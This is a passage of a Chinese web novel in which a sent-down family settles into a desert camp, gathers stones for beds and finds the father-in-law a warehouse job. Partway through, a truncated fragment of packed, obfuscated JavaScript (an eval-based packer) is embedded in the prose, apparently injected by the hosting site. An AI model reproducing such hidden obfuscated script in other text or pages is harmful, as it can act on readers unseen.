“这蜡烛咱们带的可不多,不知道有没有地方可以再换点。”陆父也看向了那根立在床边,只剩烛芯和一滩蜡油的残烛。 没人说话,几乎所有人都目光都在那一点摇曳的火焰上。 “今晚我们怎么睡?”陆星野最先打破沉默,他太小了,这样沉重的气氛让他本能的不喜欢,想打破。 “只有三张床,哥和嫂子睡哪张?”见没有人理他,他又问了一次。 “睡前不洗脚吗?”陆父等了半天也没有人主动给他端水过来,此刻只能开口问道。 在车上三天他每晚还能用一壶温水擦擦脚呢,这里总不能连货列都不如吧? “爸,这里大多数的人都不会浪费水洗脸洗脚,就连洗澡也得在夏天,去附近的水洼子洗。”陆沉舟平静的告诉了陆父这个噩耗。 然后他又宣布了床的分配:“我和星野睡中间,林晚霜睡右边床。” 陆父现在整个人都陷入了肉眼可见的绝望中:“早知道我还真不如和你妈一起去了,省的来这里受罪。” 不洗澡,不洗脚,不洗脸。是这里人的日常,可这不包括陆父。 他是很讲究的人,每隔三天必须要洗澡,哪怕是冬天,也要烧七八锅热水,让人把水倒进他的黄花梨大澡盆,然后进去舒舒服服泡半个小时。 通常,他就仰躺在澡盆里,他的妻子用手给他轻轻揉按头部,用梳子将头梳的通透。再用何首乌,皂荚和柏籽熬制的洗发膏轻轻抓洗。 洗完后还要用柔软的素色棉布,将头发上的水一点点吸干。只能吸,不能搓揉,因为会伤到发丝。 至于擦身体,那得更讲究了,必须用四块分别绣着梅兰竹菊的棉布,分别裹着身体吸水。这样不伤皮肤,还很文雅。 然而抄家的时候,他擦头发,擦身体的棉布都被抢了。连根棉线都没给他留下。 算算自抄家到现在,他快有两个月没泡过澡,好好洗个头了。 此刻听了陆沉舟的话,他只觉得浑身爬满了小虫子,一想到自己要变成脏兮兮臭烘烘的老头,只恨不得现在立刻就咽气。 林晚霜看了陆沉舟一眼,拿了个搪瓷杯去灶上煨着的铁锅里打了点热水进来。 她把搪瓷杯递给陆父:“爸,咱们没带盆,你用布蘸着水擦洗下吧。” 陆父只能接过,一边开始擦脸一边叨叨:“你们得赶紧弄个盆回来,不然这样根本洗不干净。对了,咱们带的牙擦,青盐也不够多。以后用完了可怎么办?” 在他对日用品不够用的担忧声中,林晚霜突然感觉自己好像忽略了什么事。 然而她太累了,陆父的唠叨又太催眠。 她强撑着眼皮简单擦洗又刷了个牙后,一头栽倒在床上沉沉睡去。 半夜,地窝子里鼾声正浓。 陆沉舟在睡梦中突然被一个天降肉弹砸醒。 他睁眼,地窝子暗不见光,适应了好一会儿才看清压在自己身上的人:“星野?星野?” 身上的人不耐烦地哼唧了一声,半点儿不见醒。 陆沉舟没办法,只能抱着他起身准备把他放到旁边接着睡。 这一放,他立刻发现了问题。 陆星野睡的那个地方,此时一只腿横在那里。 腿的主人相当霸道,挖着鼻孔,睡觉呈大字型,不仅占据了别人地盘,还不时地用腿扫动巡视。 “看来不管多大的床都放不下你,”他想起在严家那晚这女人也是满床扫地盘,忍不住失笑。 将陆星野放到左边,自己轻手轻脚地下了床,将那条不安分的腿轻轻搬回她自己的被窝里,给她掖了掖被角。 为防止她再次突然袭击,他干脆睡在了床右侧,看着半臂不到的另一张床,他轻声说了句:“晚安。” 闭上眼,他很快又沉沉睡去,不知过了多久,腿上又是一沉,他睁开眼,果然看到那条大腿又过了境,他轻扬了下嘴角,闭上眼再次进入梦乡。 “吃早饭了,上工了!” 铜锣声中,林晚霜睁开了眼,在车上蜷着身体睡了三天,如今总算舒展开了。 她伸了个懒腰,发现另外两张床上都没人后,照例让小智语音播报昨晚睡眠情况和今天的天气。 【小智:宿主昨晚睡姿极差!打醒陆星野一次,打醒陆沉舟三次。打呼噜一整晚,深度睡眠5小时。今天天气,晴,温度17-28℃,请注意增减衣服。今天夜间温度零下19-21℃,请多囤积木柴。】 林晚霜伸懒腰的动作在听到打醒陆星野时已经停住了。 “小智,我怎么可能打人?”她不信,她明明睡姿标准,睡前是什么样,起来还是什么样。 【小智:宿主睡着后非常豪放,不信可以询问陆沉舟,他应该体会深刻。】 听到陆沉舟的名字,她突然想起在严家那晚,顿时红了脸:“小智,在严家那天晚上我不会也打他了吧?” 【小智:宿主要调取那天的睡眠记录自己看吗?】 “不要!”她伸手捂住了脸,“这种事就不要再提了,我今天就去找红柳枝编一个床帘,挂在两张床中间!” 这样三张床放一起,一点儿隐私都没有,以后换个衣服什么的都不方便。她昨晚还想用布做帘子隔一下。 现在看来得用柳条编,这样再也不用担心睡着后越界了。 正在她查阅编织技巧时,突然听到外面有人说话。 “你们是不知道,曹家那些人有多奇葩!”张子枫的声音突然拔高,显得格外义愤填膺,“我们营地怎么会来这样一群老鼠屎!” 她有些好奇,一边起身穿衣,一边侧耳倾听。 “唉,”储一恒的声音也响了起来,声音很是无奈,“一个多小时的路,我和老张昨天走了快五个小时。那家人一路走一路骂还打架。鞋底都打飞了。” 陆父的声音响起来,但很低,她没听太清楚。 “那孩子啊,退烧了,不过咱们营地没有卫生员,排长让孩子爸爸今天别去上工,在家照顾孩子。老爷子,您也别发善心,那家人不是好相与的。就怕你们一沾上就甩不脱了。”张子枫的声音又响起。 “对,还有曹家大姑娘,老爷子,那真不是会被人欺负的主儿,您知道他们昨天吵架说了什么?她交过四五个对象,然后她还主张什么性自由……”储一恒也跟着在劝。 林晚霜掀开衣服做的帘子出去时,就看到陆父一脸纠结站在那里:“不能啊,那姑娘不是挺老实的嘛。我难道会看错人?” 这一句话差点让她笑喷出来:陆父会看错人不是很正常吗?他能看对才是奇迹。 她赶紧掩住笑和人打招呼:“张同志,褚同志,你们怎么来了?抱歉,我起晚了点。” “不要紧,林作家昨天刚到营地,累坏了吧。”张子枫立刻看向她,因为地窝子里也没个坐的地方,几个人都跟开会似的站着。 听到这句“林作家”,她立刻明白,他们这是已经通过气了。 当即她立刻笑道:“还好,多谢王排长的款待。你们这大早上的过来,是有什么我们可以帮上忙的事吗?” 张子枫立刻看了储一恒一眼:“小褚找你有事,我是被他过来顺便说说话的。昨天可把我憋坏了,林作家是不知道,曹家人有多奇葩。” 储一恒对着她笑了一下:“林作家,是排长让我来找您,问问今天您能不能带我们去砾石滩找风棱石。带过去就可以,不需要您出手。” 她看了眼陆沉舟,他点了点头:“我今天得去开荒队上工。” 他身强力壮,理所当然地被分去了最苦最累的队伍。 砾石滩就他,林晚霜和赵铁柱去过。赵铁柱是连长,他是壮劳力,王排长会选谁带路自然是一目了然。 储一恒见她没有说话,还以为她不愿意。于是又说:“排长说您要是愿意可以给您算半天工分,如果有您看的上的石头,我们也可以直接帮忙运回来。” 只是答应的稍慢了点,居然还有这好处? 林晚霜听的心头一动,看着站在面前的五个男人,别的不提,弄几块可以当凳子的石头迫在眉睫。 外面铜锣还在响:“开饭了!上工了啊!” 现在已经快六点了,再有半小时早饭就结束了。 当即几人便出了地窝子,闩门的时候,张子枫看了那破烂的红柳枝门开口道:“等今天下工了,我送个新门过来。” 地窝子的门都是红柳枝编的,闩门的效果也只能说聊胜于无。不过这门还是很有必要的,毕竟破门夜里可不防风。 这一路过去得有个十几分钟,路上张子枫忍不住又聊起曹家的事。 一大早就有瓜吃,林晚霜听的是津津有味。 原 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陆父当即吓得浑身一抖,他想起曹小军对自己过分热情…… 嘶—— 这曹家两母子居然都在馋他身子吗? 这世界对单身老头充满了恶意! 就在陆父用棉衣裹紧自己时,灶房已经到了。 早饭和午饭通常就站在这里吃,吃完正好用饭盒领上水,然后去上工。 今早的玉米碴粥里是放了肉沫的,于是每一个打到饭的人都会立刻被围着看,然后发出或惊羡,或遗憾的的声音。 或许因为有个“作家”的名头,倒是没人敢扒着她的饭盒看。 林晚霜一边喝着粥,一边看着几个小孩围上了陆星野发出阵阵惊呼—— “哇,你的粥里有三颗肉沫!好厉害!” “我爹说,从今天开始是你给我们计分对吗?好厉害,你居然能认字!” 陆星野抿着嘴,把林晚霜给他的本子和笔拿了出来:“等会儿我给你们登记下名字,以后你们的工分我都给记名字后面,和大人一样每个月一结。” “哇!我们也有自己的公分本了!”小孩子们欢呼起来,围着陆星野一脸崇拜。 不远处一个壮年男人扯着嗓子喊道:“开荒组,开荒组吃完过来集合了!” 陆沉舟和林晚霜招呼了一声就过去了。 “运输组在这儿啊!”一个大娘中气十足地照顾陆父,“大爷,你吃快点啊,就差你一个了!” 陆父端着饭盒还没开动呢。 站着吃饭?他不会啊! 听到大娘这话他手足无措,当即想也不想就把饭盒放到一边就要跟着她走。 “爸,”林晚霜一脸无奈,她眼尖,找到个高度还不错的小土堆,立刻拉着陆父过去,“你坐这儿吃吧。” 陆父也知道自己这是毛病,传出去不太好,于是趁林晚霜挡在面前,赶紧坐下稀里呼噜把粥往嘴里倒。 吃完了,他掏出个手帕仔细擦了嘴角,看着这饭盒又犯了难。 大家都用沙子洗饭盒,可这沙子……他下不去手。直接打水进去洗,他又怕被人抓住批斗游街。 可要是不洗,那水喝起来跟洗碗水有什么区别? 正在他纠结犹豫该怎么办的时候,储一恒跑了过来:“林作家,大家都集合完了,您可以走了吗?” 林晚霜将自己的饭盒用沙子擦洗了一遍,看了眼还坐在土堆上纠结的陆父:“爸,您今天上工,一切以安全为主。实在不行,就请假吧。” “那不行!”陆父立刻回绝,“上工就请假那是官僚主义,你走吧,不用担心!我可以!我已经准备好了!” 完了!她忧心忡忡地想,这下更担心了。万一这老爷子瞎逞能,把身体弄伤了咋办? “林作家是在担心您公公?”储一恒看出她脸色不对,“怎么不给他找个轻松点的工作?大爷识字吧?可以看守仓库,做物品领用登记,整理物品啊。” “我公公上过十年私塾,不仅能写字,还能算数,写文章,”林晚霜定了定心神,先把陆父的情况说出去,“但他从小就先天不足,体弱多病。我们也觉得他更适合做一点文字上的工作。” 储一恒听的眼睛都亮了,现在最缺啥?壮劳力和识字的。 “我小叔子才五岁都能写很多字,不然也不会被王排长一眼选中去灶房帮忙。”她不动声色地把陆星野也拎出来秀一把,而且刻意不提肉干的事,只说他的能力强。 “林作家一家人都是精英啊!”储一恒忍不住了,这五岁的孩子都这么厉害,老爷子去搬运泥巴石块,真是屈才了。 “不过我公爹和男人都很较真,不然就我婆家这个情况,要是争辩一下,别说退伍了,成分也不能这样划分,”她装作苦恼的样子,只字不提里头还有别的事,只往较真上扯,“他们觉得既然祖上当过地主,就不能光看这一两代做的好事,谁也不敢保证先人做的都是好的。” 储一恒竖起了耳朵,他只知道陆家和曹家一样都是下放人员,还不知道陆家下放的原因呢。 “所以,即使45年我公爹就把家产全捐给组织了,即使我公爹三个兄弟都为了家国牺牲了。即使我男人在部队立了些功劳,他们仍旧觉得,组织给了这个机会,就不能辜负。” 储一恒听的目瞪口呆,他觉得他这辈子还是第一回见到这么特殊的下放人员。 合着人家下放纯粹是为了理想啊。 林晚霜没理会储一恒快石化的表情,语气认真地问他:“所以你能理解我公爹非要去挑战做运输工作的心情吧?” 储一恒震惊,储一恒麻木,储一恒他完全无法理解啊! “理解,理解,大爷真的……很拼。”但是真话能说吗?说了岂不是显得他思想高度不够? 他现在就一个念头,今天下工回来,一定得找张子枫聊聊。 他们这次接收的两个下放家庭,真是一个比一个邪门! “唉,但是我的思想高度不太够啊,”她又叹了声气,“我担心我公爹不仅不能锻炼自己,还会给他们同组的人增加工作负担。而且吧,我觉得他去做自己擅长的,其实也是在为组织贡献自己的能力。您说呢?” 储一恒听了这话差点激动了,他终于不用自卑自己思想高度赶不上陆家人了。 “林作家说的对,无论做什么工作,都是革命的螺丝钉!”他立刻表态,且因为自己和林晚霜思想的高度一致对她好感更高了。 “如果,万一,今天我公爹做不好,我是想劝他放弃的,”林晚霜接着说,“就是不知道咱们营地还有没有合适他的位置,工分多少不重要,干革命不追求利益!” “我听老张说好像有,咱们就缺会写字的人,”储一恒几乎是拍胸脯了,“您真得好好劝劝咱大爷,干革命去哪儿不是干?对了,您方不方便说说大爷那三个兄弟的事?” 林晚霜提这话头就是为了好好说说。 边疆这边林少他们的手暂时是伸不过来,她得趁机把地盘给夯实了。 于是两个人一路说一路朝着集合地点去了。 等到了集合地点,领队的副排长李浩就看到队里最小的娃娃兵储一恒含着两包热泪过来。 “怎么了小褚?”李浩吓了一跳,立刻拉人过去询问。 因为这是102排最小的兵。人生的讨喜又会说话,排里就没不喜欢他的。 储一恒吸了吸鼻子,把陆家的事快速和李浩说了一遍:“怎么会有这么实诚的一家人?他们不该是坏分子啊。” 李浩今年24,读过初中,也算的上是高知分子了。他一听就知道里头有事,一个战士退伍不可能因为家庭成分就被直接退伍,这里头肯定还有审查的流程。 但是他也没多说,只是拍了拍储一恒的肩头:“走吧,日头要出来了,我们得抓紧时间。” 今天算的上是首战,还有很多人在观望要不要修床单事。 为此营地里出动了10名士兵和6辆板车。带着首批报名的20个人,在林晚霜的带领下往砾石滩去了。 一路上李浩都会忍不住打量她。 察觉他的目光,林晚霜是半点儿不惧。 早在和储一恒说这些事的时候她就想到了肯定会有人来调查她话中的真伪。说不定还会上报,去部队核实,跨省去重新核查陆家的家庭成分问题。 所以她说的都是实话,至于没说的部分,那本来也不该是她一个普通老百姓该知道的。 然而就在她以为李浩只是暗中观察,打量她时,李浩说话了。 “林作家,我伯父也参与了建国前最后一战。如果您不介意,我会写信回去问他您叔父的事。” 43. 第 43 章 林晚霜知道这是他的试探。 然而她是真的很高兴:“太好了,我四叔父叫陆振族。他们四兄弟的名字很好记,前两个字是一样的,最后一个字连起来正好是中华民族。” 说完她还看向李浩,有些遗憾:“如果您大伯和我四叔父认识,可不可以多说些他的事?” 李浩看她表情没有半点谎言要被拆穿的惶恐,全是期待。于是决定今天回去就开始写信,如果这一切都是真的…… 总之,不能让军人流血又流泪。 之后的旅途李浩一直心事重重沉着张脸没再说话。 随着时间推移,戈壁滩上气温逐渐升高。不少人已经将棉袄解下,搭在肩膀上。 原本光着脚走路的人也开始穿上了草鞋。 不过大多数人都有脚气,越临近冬天,地窝子越潮,这脚气也越难忍。 因此很多人一边用沙搓脚,一边憧憬着用上石床以后能将烦人的脚气治好。 林晚霜听着他们聊起脚气的问题,心念一动,让小智整理了相关资料和治疗方法。 摒弃了一些明显不实际和不能用的方法。她发现最简单的就是保持干燥,勤换洗鞋袜。 而盐水,明巩,中草药泡脚根本不现实,土霉素敷脚也做不到。 物资匮乏,就连巧妇也难为无米之炊。 “李排长,下放前我看过一些医书,知道一些和脚气病有关的知识。”想了想她还是决定把自己知道的都说出来,让他们多知道一些,万一以后能用上呢。 李浩将心头复杂的思绪扔到一边,看着她:“林作家请说。” “脚气病主要分两种……”她开始将书面语转化成口语结合实际案例,滔滔不绝地讲了起来。 “……这位,这位,还有这位都是是典型的糜烂型脚气……这是针对这种脚气的治疗方法。”她详细讲完。被点到名的人下意识点头记下她说的方法。 “除了多晒太阳,多换洗,保持干燥,其他的我们暂时做不到,”李浩听完果然得出了和她一样的结论,“盐太缺了,吃都不太够。其余的更是很难得。” “是的,另外,这位大哥的脚……”她点头,继续说起第二类脚气.,“需要多补充一些富含维生素b1的食物,比如瘦肉,豆类,动物内脏,同时要减少盐的摄入,多休息。” 李浩越听越严肃,他想起之前倒在工地上的一个战友:“所以脚气病还能让人水肿,心衰?” “是的,因为实际上这是一种维生素缺乏症,脚气是这种病的表现形式之一。”她叹了口气,“我知道这些解决起来不容易,动物内脏和肉类太难获取。” 李浩却没立刻说话,他想了很久:“其实,离这里三十多公里也有一些山岭,里面有黄羊,熊,旱獭,野猪,鹿和蛇。但是捕猎的风险很高,收益很低,所以这几年我们没再组织人进山了。” 林晚霜听到这里突然心念一动。 李浩没发现她的异常,继续说:“我会和上面打报告,今年再组织一次去狩猎。让我们的同志都能补充一下维生素。” “报名去狩猎有什么要求吗?”她立刻问。 李浩愣了下,想起她男人是退伍军人,他们家还有两个新鲜的野猪皮包,还有很多肉干。顿时暗骂自己居然把这么一个狩猎高手给忘了。 “需要会用枪,咱们这边不比内地,会用枪更安全些。”他看着林晚霜,目光满是深意,“要报名可以来找我。” 三十多个人走了快两小时,终于在上午九点前来到了那片砾石滩。 “天呐!咱们这边真的有这么大的石头!”有人惊呼出声。 “真的是硬的,很硬!”有人已经上手了。 “太神奇了,这是真主阿拉赐下的神迹!”有人在胸前画着神秘的符号,用其他人听不懂的话飞快地说。 这一瞬间,所有人脸上都是喜悦和激动。 这片戈壁太过偏僻,如果不是开荒,可能很多人一辈子都不会涉足。 他们跟着开荒排在这戈壁滩呆了几年,风化石见多了,最开始根本没人信这里居然有不会风化的石头。 这要不是有军队的信誉做担保,再加上实在受不了湿冷的睡眠环境。他们才不会走这一趟。 “林作家,谢谢你!我老婆孩子总算可以睡个好觉了!”当下就有一位大哥对着她跪了下来。 林晚霜吓坏了,她能理解大哥激动的心情。但这也太夸张了。更何况这里这么多人看着,万一传出去点什么,可就不好了。 “我只是偶然发现了这片石头,当不起您这声谢,要我说,其实最应该感谢的是组织,是王排长他们,是他们处处为咱们考虑,甚至拿出一天宝贵的时间,和咱们一起来这里挑选石头。让我们为他们鼓掌!” 她话音落下,一片雷鸣般的掌声立刻响起,她这番话说到了众人的心坎上,好几个小战士激动的脸色通红。 李浩默默地将对她的评价又提高了些:不居功,不自傲。 看来得写信让家人帮忙收集一下T市的报刊,他要好好拜读一下林作家过往的作品,都说文如其人,想必她的作品应该不差。 不过眼下他需要先处理好眼下的事。 从板车上拿起铜锣,他猛地敲了一记,让众人都看了过来。 “同志们,今天我们有20个家庭代表过来取风棱石,按照一家一床的原则。一共需要挑选40根石头。我给大家一个小时的时间,请大家认真挑选,所有石头回到营地统一分配。” 统一分配无疑是避免了挑选石头时的争夺,这自然不会有人提出疑义。于是挑选石头的活动开始了。 “林作家,你也去挑挑吧。”李浩看向她,又叫来储一恒,“你带几个人跟着,把林作家选好的石头先搬过来。” 储一恒原就与林晚霜交好,知道陆家往事后更是多了几分亲近,闻言叫了两个小战士跟着林晚霜一起去了。 她把想找几块石头回去做凳子的想法告诉储一恒,于是他们三个也帮忙找起来。 天然的石头不经打磨做凳子自然就不能过多的讲究,看上去高度大小合适就行了。 然而找了半天,要么过大,要么过小,最后将将只找到三块大小差不多的搬了回去。 另一边找长条石也不太顺利,天然形成的石头长短粗细本就不一致,林晚霜他们当时是在一堆里选6根倒还好,如今选40根,想要再找的差不多,就很难了。 “已经很好了,”李浩似乎是看出她的纠结,“我们搬回去找人找人修修,多出来的部分放营地里也很有用。” 林晚霜无奈,毕竟天然的东西哪有那么正正好的?看来也只能如此了。 等石头差不多挑好,搬上板车。众人一路说笑着往营地去了。 “我知道二位想要再挑选一些石头带回去,但我有个不情之请。”李浩的表情显得无比真挚。 “我们车今天可能放不下那么多石头,做石床的活动会一直持续到营地里每家每户都有床为止,二位可以将选中的石头标记出来,告诉小褚,我们会尽快把你们选中的石头搬回去。” 等回到营地已经是12点半,再有半小时又该上工了。 李浩索性让人把板车直接推到灶房那边,这些石料还需要简单的处理一下才能分下去。 正在吃饭的人看到他们回来,都围了过来。这跟着去搬石头的20人家属也纷纷过来,看着石头摸了又摸,满脸都是对幸福生活的向往。 林晚霜正排队打饭,看着这一幕心头不由生出感概:这年代的人幸福感真高,因为一点肉沫,一块石头,就能这么开心。 大概由于做的都是重体力活,午饭是两个窝窝头加一点野菜汤。 负责打汤的是陆星野,他站在锅边一脸严肃手持汤勺,见到她来抿了抿嘴示意她往后看。 林晚霜回头一看,只见杜枝花和陆父又坐到一起了,两人挨坐在土堆上边吃边说话,看起来很是亲热。 “什么情况?”她失声问,早上陆父出门还是一脸防备的,就算是耳根子软也不至于一上午就能挨着坐了吧? “我和二狗他们去采野菜,路过爸那边,发现杜老太婆和曹小莲在帮爸抬筐。”陆星野非常无奈,“他们三个抬了半天没走几步,被骂了……” 好的,林晚霜大概明白了,这就是差生的友谊。 看来得赶紧给陆父换个工作了。不然再一起挨骂被孤立下去,他都要拉着杜老太婆去结拜了吧。 “你哥呢?”汤盛好了,她赶紧让到一边,不耽误下个人打汤。 “他们那组今天有了一大半去扛石头了,活做不完。11点多就有人通知我们把饭送地里给他们先吃了。”陆星野皱着眉头十分无奈,“太苦了,抡着镐头挖地,一镐头下去地上就一个白印子。得要好几次才能挖出来一点土。” 她明白了,这是在盐碱地上挖排盐沟,看来这里的盐碱地含盐量很高,板块硬结的非常厉害。 只可惜,提取盐碱地里的盐和碱需要耗费大量的水,而且提取出来纯度也不够,还需要进一步的做化学分离。现在条件有限,这些地里的盐只能浪费了。 “你快去看看爸那边吧,”陆星野见她不说话,熟练的给人盛了汤后催促道,“我真怕他一冲动又把我们卖了。” 这话在理,林晚霜当即快速吃完饭,朝着陆父那边走去。 “老哥哥,听说你们家昨晚就睡上这石头床了,咋样?睡的好吗?”杜枝花总算是学乖了,虽然挨着坐,但却收着身体,尽量不靠着陆父。 陆父回忆了下昨晚睡觉的情况:“也就那样吧,就比在货列上睡稍微强那么大点儿。其实啊,这个石头沙土床还是不如家里的木头床,家里的……” 杜枝花见他真的只说床,不得不打断:“总比我们直接睡地上,连被子都没有的强。” 陆父睁大了眼,想了想回她:“那我是真的比你们强多了。” 杜枝花见他又不往下接,只能暗骂一声自己继续说:“老哥哥你家是有四床被子吧,我看都怪厚的。” 陆父点头:“是的,不过我们正好有四个人。” 林晚霜听了这几局对话差点笑死,她不知道陆父是有意还是无意的。无论杜枝花说啥他都回,然而也只是回,半点多余的话都没有。 杜枝花双手死死抠住自己的大腿,忍住冲天的怒气:“老哥哥咋没想着换个轻松的工作?我看你小儿子那个就很合适你。” 陆父看了眼正在给人打汤的陆星野,惊恐的摇了摇头:“不适合,我拿不稳勺子,而且君子远庖厨。” 妈的!这天真的要聊不下去了!杜枝花强迫自己想想家里那三个不成器的孩子,这才忍住拔腿就走的冲动。 “老哥哥,妹子的意思是,你可以让你儿媳妇给你找个轻松的工作……” “老妹妹,”陆父严肃了起来,“我儿媳妇只是个普通人,再说了,咱们是什么身份心里要有点数。下放人员就得有下放人员的样子,不能搞特殊对待的事。你这话我不会传出去,但是你以后不能再说了!” 听到这里,林晚霜觉得已经够了。 她走了过去,假装刚看到人:“爸,杜婶儿,你们吃了吗?今天上工怎么样?” 陆父见到她来,立刻把饭盒放地上举着手站了起来:“沉舟媳妇儿,你看我的手,今天一上午组长说因为我弄坏了一个箩筐,所以没有工分,还要扣2个工分。” 他的手全是泥土还有数条血口,看上去凄惨无比。 最惨的是,忙了一上午手伤成这样还倒扣两公分。 她一时之间也不知道该如何安慰陆父了。 “我看星野那份工作不错,虽然有难度,但我有信心学会。”陆父看到远处组长又在催集合了,再不好意思都只能直说。 林晚霜在他殷切的眼神中给予了沉重一击:“爸,你之前说过,你坚决不搞特殊化,会做好运输工作。” 旁边的杜枝花刚刚被他的不要脸惊呆了,此刻赶紧补刀:“是啊,老哥哥,你刚刚说君子远庖厨。” 陆父沉默了一下:“我现在不是君子,我是老人。” 林晚霜觉得他这个理由很强大,很有辩证思维观,和白马非马简直可以并列。 然而—— “爸,你认识野菜吗?你会挖野菜吗?你会捡柴火吗?你会收拾柴火垛吗?” 一连四问,陆父如遭雷击:“难道星野都会?” 远处几个结伴而来的小孩高声回答了他的疑问:“陆星野,你今天挖的那个锁阳真的能吃吗?我们之前都没见过。” 陆星野的回答也很大声:“我嫂子说的那还有假?而且我已经把锁阳交给郑师傅了,郑师傅说锁阳不仅能吃,还特别补,只是很难挖到。今晚他晚上做汤给大家吃。” “哇!你好厉害!”几个小孩鼓起掌来。 陆父转过头看向林晚霜:“你跟他说的什么锁阳?” 林晚霜也很诧异:“我只是告诉他戈壁滩上野菜的种类和分布情况。但是锁阳是长在特别深的地里,很难找的,没想到他居然找到了。” 锁阳,肉苁蓉,碱蓬。都是戈壁滩上特有的药食两用植物。 其中肉苁蓉和锁阳都很难找。肉苁蓉生活在梭梭根部,锁阳则在白刺根部。 能找到锁阳,这意味着陆星野不仅认出了白刺还判断出来了白刺根本有没有寄生。 陆父沉默了,看来陆星野的工作也不太好做啊。 百无一用是书生,此刻他深深地认可了这句话。 看着陆父的表情,林晚霜决定等会儿就去找张子枫问问看仓库的活还缺不缺人。 不过现在嘛,她试探性地问道:“爸,那你下午还去上工吗?” 陆父闭目叹气:“去!凡事切忌半途而废,再说了,我认为经过一上午的劳作,我已经初步掌握了搬筐要诀。” 很有斗志,好的。林晚霜心想,希望下午少扣几个工分。 看了眼时间还有不到十分钟就要上工,她匆匆和陆父告别就去找了张子枫,很巧,李浩储一恒也都在。 林晚霜对陆父今天上工的情况毫不隐瞒,然后说:“我过去的时候,曹家那个杜老太婆正在劝我爸换个轻省的工作。我爸拒绝了,还说自己已经找到了搬筐的要诀,下午一定能赶上进度。” 张子枫忍不住笑死了:“大爷太拼了,早上我也过去看了,他的确不是干活的料。搬着筐腰都不会弯一下,一整筐直接砸下去了。幸好同组大爷把他拉开,不然脚怕都肿了。” “是啊,”她故作忧愁,“他是不急,我们这些做小辈的可愁死了,不挣工分也就罢了,他那个手啊,全是血口子。” 李浩抬头问她:“就没想过给老爷子换个工作?” 储一恒立刻补充:“副排长你不知道,这老爷子可古板了。他第一次见到曹家人,人家诉几句苦,他就要掏包给人。当时我们还以为他是对那老太婆有意思。后来发现曹家人……怪不得连儿子媳妇都误会了。” 李浩也听说曹家的事了,此刻不予置评。只是说:“老爷子这样不行的,他自己会受伤,也会给同组的其他人添麻烦。你们当小辈的有时候还是要强硬点。” 然后他又问张子恒:“你之前不是给我抱怨,看仓库的老王死了后,仓库登记的活也是你兼着,实在忙不过来吗?要不就让这老爷子去?还像之前老王在的时候一样,每天给8个工分。” 张子恒早就想脱手了,闻言立刻连连点头:“陆家人一来就帮我分担了两件事,真是我的福星。” “我爸那边还没说呢,”林晚霜见这事差不多定了,心头暗喜,但人设还是需要继续维持的,“你们让我见识了什么才是把老百姓时刻放在心上的子弟兵,即使这件事最后不成,我也一辈子记得组织的好。” 她说这话时还一脸纠结,像是在担忧老爷子不接这个工作一样。这让三人越发觉得她字字句句出自本心。 “这样吧,”已经担了“把老百姓时刻放在心上”的名头,李浩觉得自己不能不有所表示,“我现在和你一起去找老爷子,就说这是革命任务,不允许推卸。” 林晚霜赶紧道谢,储一恒要留下来盯着石料的事,张子枫因为要和陆父交接工作,便一起跟着去了。 运输组这头,杜枝花一肚子气撒不出去,只能阴阳陆父几句。 “老哥哥,你这儿媳妇不行啊。自己工作轻轻松松,到你这里就推三阻四。我看啊,你以后走不动了,她可不一定会给你养老。” 陆父压根听不懂她话里的机锋,他很是认真地说:“老妹妹,你这思想不对啊。我养大的是我儿子,不是我儿媳妇,养老自然该有儿子给我养。我养他小,他养我老。这才是正理。” “至于儿媳妇,她愿意养我那肯定是因为我儿子,毕竟她是嫁给我儿子的,不是嫁给我。老妹妹,你这个思想,怪不得你大儿媳妇要抛夫弃子啊。” 陆父是真的很为她急:“你喊我一声老哥哥,我就得教教你,这个过日子,不聋不哑不做家翁。咱不能有事让小辈上,没事了又想来管小辈。这不合理。该放权就得放,被小辈管着也挺好的。” 他之前就是既要遇事让儿子出头,又想给儿子把控大方向,结果被儿子下脸了。 现在他也想明白了,反正他听话,儿子就不可能不管他。听话他还不用自己思考,简直美滋滋。 杜枝花看着他说这些还一脸骄傲的样子,只觉得无话可说。 这世界上怎么会有当爹当这么窝囊的? 他真的是男人吗? 连她都不如! “老哥哥心态真好,”她敷衍的说,眼见放长线也是钓不到啥大鱼了,她决定简单粗暴直接捞好处,“老哥哥你咳嗽的那个药还有没有?给我拿点?老哥哥,你家石头床能不能给我借一张?” 陆父这边还没回答,就听组长叫他:“陆振华,过来一下。” 他战战兢兢地看着地上装满泥土的筐,慢慢往组长那里去:完了,光顾着聊天没干活,又要被扣工分了! 陆父走到组长那里,就看到了林晚霜和今早过来他们家的张子枫,另外还有一个年轻人,身形板正,长的很是清秀。 他过去还没说话,林晚霜就一把抓住他的手:“爸,这是李排长,这是张子枫。他们知道您会写字会算数又爱干净整洁,特意来找您去做仓库管理,您可千万别拒绝了啊!” 陆父有些懵,他儿媳妇一开口就噼里啪啦说个不停,他听了半天好像是要给他换工作,换工作啊,他简直求之不得怎么还会拒绝? 当下他张口就要问::“我拒绝什……” “爸!”林晚霜立刻打断他的话,“这次真不能听您的。看看您的手!” 她举起陆父的手给李浩张子枫看。 陆父的手保养的一直不错,现在这一看,青青紫紫红红白白很是吓人。 李浩当即摆出副严肃的样子:“老人家,你来改造自己的决心我们都看到了。但是身为革命的螺丝钉,哪里需要去哪里,对吧?” 陆父还懵着,不明白他们在干啥,明明简单的事还说这么久。 但此刻见李浩问,他本能地点头:“对?一颗红心干革命,哪里需要去哪里!” 李浩当即笑了:“觉悟很高!老人家,现在组织就有需要你做的工作,有没有信心干好?” 陆父跟着他们往仓库走,一路都是懵的。他压根不清楚为什么他们好像怕他不去看仓库一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张子枫的回答理所当然:“他是壮劳力啊,咱们营地缺壮劳力。” 好吧,所以她因为不是壮劳力,只用上半天工,会开车,所以拿到了这份工作。 听起来还真是一点毛病都没有呢。 “林作家这会儿是回去写作?还是跟我熟悉工作?”张子枫又问她。 “虽然我来到咱们营地时间还不长,但很多人都给我留下了深刻的印象。我想回去整理记录下来,明天我再来正式找你报道行吗?” 林晚霜脑海里已经有了框架,自然是要赶紧落实作家的名头,总不能哪天被人发现她这个作家一片文章都没发过吧。 张子枫自然是同意,于是两人就此分道扬镳。 林晚霜回到地窝子,真就拿出纸笔,把自己记下来的文字誊抄在纸上。 边抄边改,很快一篇初稿就写好了。 